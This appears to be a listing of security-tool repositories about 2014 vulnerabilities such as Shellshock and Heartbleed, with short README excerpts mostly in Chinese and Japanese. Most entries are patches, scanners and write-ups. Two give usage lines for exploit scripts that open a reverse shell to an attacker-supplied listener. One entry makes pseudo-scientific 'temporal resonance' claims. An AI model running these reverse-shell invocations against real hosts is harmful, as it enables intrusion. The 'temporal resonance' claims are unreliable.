-CVE-2014-6271-Shellshock-Remote-Command-Injection-

CVE-2014-6271 Shellshock远程命令注入 CVE-2014-6271 Apache Shellshock远程命令注入工具，用于快速反弹Shell和文件浏览 Shellshock Apache远程利用 用法： ./Shellshock.py payload=reverse rhost=1.2.3.4 page=3 lhost=5.6.7.8 lport=1234 ./Shellshock.py payload=files rhost=1.2.3.4 page=3 echo="ls -la" ./Shellshock.py payload=files...

bash-4.3-fixed-CVE-2014-6271

はじめに これはGNU Bash、バージョン4.3です。BashはGNUプロジェクトのBourne Again SHellであり、POSIXシェル仕様の完全な実装であるだけでなく、対話的なコマンドライン編集、対応アーキテクチャでのジョブ制御、csh風の機能（履歴置換やブレース展開など）を含む数多くの機能を備えています。この種のシェルにおけるBashの新機能の詳細については、ファイル doc/bashref.texi を参照してください。また、大規模なUnixスタイルのmanページもあります。manページはシェルの機能の正式な説明です。...

G2.5_openssl_CVE-2014-5139

此存储库没有 README。...

Blind-SSRF-to-Remote-Code-Execution-Shellshock-Professional-Bug-Bounty-Report

从盲SSRF到远程代码执行（Shellshock）——专业漏洞赏金报告 此仓库包含一份专业的漏洞赏金报告，演示了成功利用盲SSRF漏洞，该漏洞触及了存在Shellshock（CVE-2014-6271）漏洞的内部CGI端点。通过带外（OAST）DNS回调确认了远程命令执行，展示了完整的攻击链和技术分析。...

bash-up

bash-up CVE-2014-6271 bash脆弱性を修正する自動スクリプト...

CVE-2014-0160-Chrome-Plugin

Heartbleed chrome 插件 已弃用 Chrome 插件，用于检查当前网站（及其所有调用的子域）是否容易受到 CVE-2014-0160 影响。 漏洞检查通过一个现已失效的 API 服务完成（它在 2014 年时还在运作！） 也许代码对某些人仍有帮助，如果有人找到了新的 Heartbleed 检测 API 提供商的话。 另见，修改过的 CVE-2014-0160 漏洞利用代码...

cve-2014-2734

このリポジトリには README がありません。...

bash-shellshock

bash-shellshock Cookbook This cookbook is designed to test and optionally remediate the bash "shellshock" bug, more formally known as cve-2014-7169. Once Chef-client has executed this recipe on one or more hosts, a list of all nodes that are vulnerable to the "Shellshock" exploit can be retrieved...

Shellshock-Vulnerability-Scan

Shellshock-Vulnerability-Scan Bash脆弱性（CVE-2014-6271、別名Shellshock）をスキャンするAndroidアプリ Playストアからアプリをダウンロード https://play.google.com/store/apps/details?id=in.indiandragon.shellshock.shellshockvulnerabilityscan 今後は開発されていません...

ansible-bashpocalypse

CVE-2014-6271 补丁 https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/ 使用方法 在本地主机上安装 ansible。 将你想要修补的服务器添加到 inventory 中。 运行 ansible-playbook ./deploy.yml -i inventory。...

heartbleed

Heartbleed OpenSSL CVE-2014-0160 脆弱性の有無をサーバーでテストするための、Ruby で書かれたシンプルなツールです。 免責事項 このツールを使用して引き起こされる可能性のある損害について、私は一切の責任を負いません。このツールは、特定の脆弱性を確認し、高トラフィック下での潜在的なユーザー関連データ漏洩を測定するために、プライベートサーバーをチェックする目的で作成されました。内部セキュリティ監査用のツールとして公開されています。 依存関係 必要なもの: Ruby Bundler これらの前提条件をインストールするには、まずお使いのプラットフォーム用の Ru...

pyshellshock

.. CVE-2014-6271: https://vulners.com/cve/CVE-2014-6271 ============ pyshellshock CVE-2014-6271 のためのPythonライブラリとユーティリティ。...

THM-Steel_Mountain-CVE-2014-6287

THM-SteelMountain-CVE-2014-6287 TryHackMe.comのSteel Mountainボックスの攻略記とCVE-2014-6287のエクスプロイト クレジット 私はこの脆弱性の原本の発見および悪用に対して一切の功績を主張しません。以下の方々に感謝します！ 発見: Daniele Linguaglossa Metasploitモジュール作成者: Muhamad Fadzil Ramli TryHackMeルームと作者: https://tryhackme.com/room/steelmountain...

ssl-heartbleed.nse

ssl-heartbleed.nse Heartbleed/CVE-2014-0160 を発見・悪用する Nmap NSE スクリプトです。このスクリプトは現在、基本的に Patrik Karlsson が書いたものに、私自身のスクリプトから移植した小さな変更を加えたものです。 特徴 FTP, SMTP, XMPP のサポートを含む https://github.com/nmap/nmap/blob/master/nselib/sslcert.luaL231。 TLS のすべてのバージョン TLSv1.0, TLSv1.1, TLSv1.2 をサポート。...

CVE-2014-6271

CVE-2014-6271...

IT19115276

IT19115276 SNP 課題1レポート - Linuxマシンのエクスプロイト 脆弱性 CVE-2014-0038 スクリーンショットを用いてこの脆弱性をエクスプロイトする方法について説明しました。...

bleeding-heart

Heartbleed The Heartbleed bug CVE-2014-0160 is a severe implementation flaw in the OpenSSL library, which enables attackers to steal data from the memory of the victim server. The contents of the stolen data depend on what is there in the memory of the server. It could potentially contain private...

Heartbleed-PoC-Exploit-Script

Heartbleed-PoC-Exploit-Script この Python の Proof-of-Concept PoC スクリプトは、TLS ハンドシェイクを heartbeat 拡張と一緒に実行し、細工された heartbeat リクエストを送信することで、Heartbleed 脆弱性 CVE-2014-0160 を検出します。サーバーの応答を解析して漏洩したメモリを特定し、この深刻な OpenSSL の欠陥に対する脆弱性評価を支援します。 About Heartbleed は、OpenSSL の TLS heartbeat...

CTT-HEARTBLEED-Temporal-Resonance-Memory-Leak-Exploit-Heartbleed-CVE-2014-0160

CTT-HEARTBLEED-Temporal-Resonance-Memory-Leak-Exploit-Heartbleed-CVE-2014-0160 心脏出血漏洞（CVE-2014-0160）因其泄露相邻内存而极具破坏性。CTT-Heartbleed更进一步——它利用33层时间共振来跨时间映射、重建和提取特定内存区域，而不仅仅是相邻缓冲区。 🕰️ CTT-Heartbleed v2.0: 时间共振内存提取 目标: OpenSSL 1.0.1 - 1.0.1f CVE-2014-0160 CTT增强: 通过分形时间共振实现多层内存重建 作者: CTT研究组 SimoesCTT 日期:...

shellshock-poc

Shellshock-Exploit このエクスプロイトは、bashバージョン1.14から4.3に存在するShellshock脆弱性（CVE-2014-6271）を悪用します。 使い方: python3 ./exploit.py -t -u -a -p 例: python3 ./exploit.py -t 10.10.10.15 -u /cgi-bin/vulnerable -a 10.10.10.7 -p 4443 脆弱性の詳細情報: https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2014-6271...